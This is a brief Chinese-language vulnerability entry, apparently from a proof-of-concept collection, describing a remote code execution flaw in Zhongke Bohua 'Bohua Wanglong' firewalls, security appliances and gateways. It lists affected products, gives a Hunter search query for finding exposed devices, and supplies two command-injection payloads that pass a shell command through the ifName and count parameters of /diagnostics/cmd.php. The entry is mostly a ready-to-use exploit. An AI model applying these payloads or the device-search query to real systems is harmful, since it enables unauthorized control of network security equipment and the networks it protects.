

B4-1博华网龙-安全设备-RCE

漏洞描述：

中科博华是一家集科研、产品开发、技术服务、系统集成为一体的高科技企业，是国家商用密码产品定点生产单位，具有商用密码生产和销售许可证、3C认证、系统集成叁级资质、信息安全服务一级资质和涉密资质等。中科博华多个安全设备系统存在远程代码执行漏洞，攻击者通过漏洞可以获取服务器权限。

影响版本：

- 博华网龙防火墙
- 博华网龙信息安全一体机
- 博华网龙安全网关

网站图片：



网络测绘：

Hunter 语法：

- hunterweb.title="博华网龙"

漏洞复现：

payload:

```
/diagnostics/cmd.php?action=arping&ifName=id||
```

效果图:



poc2

```
/diagnostics/cmd.php?action=ping&count=id||
```

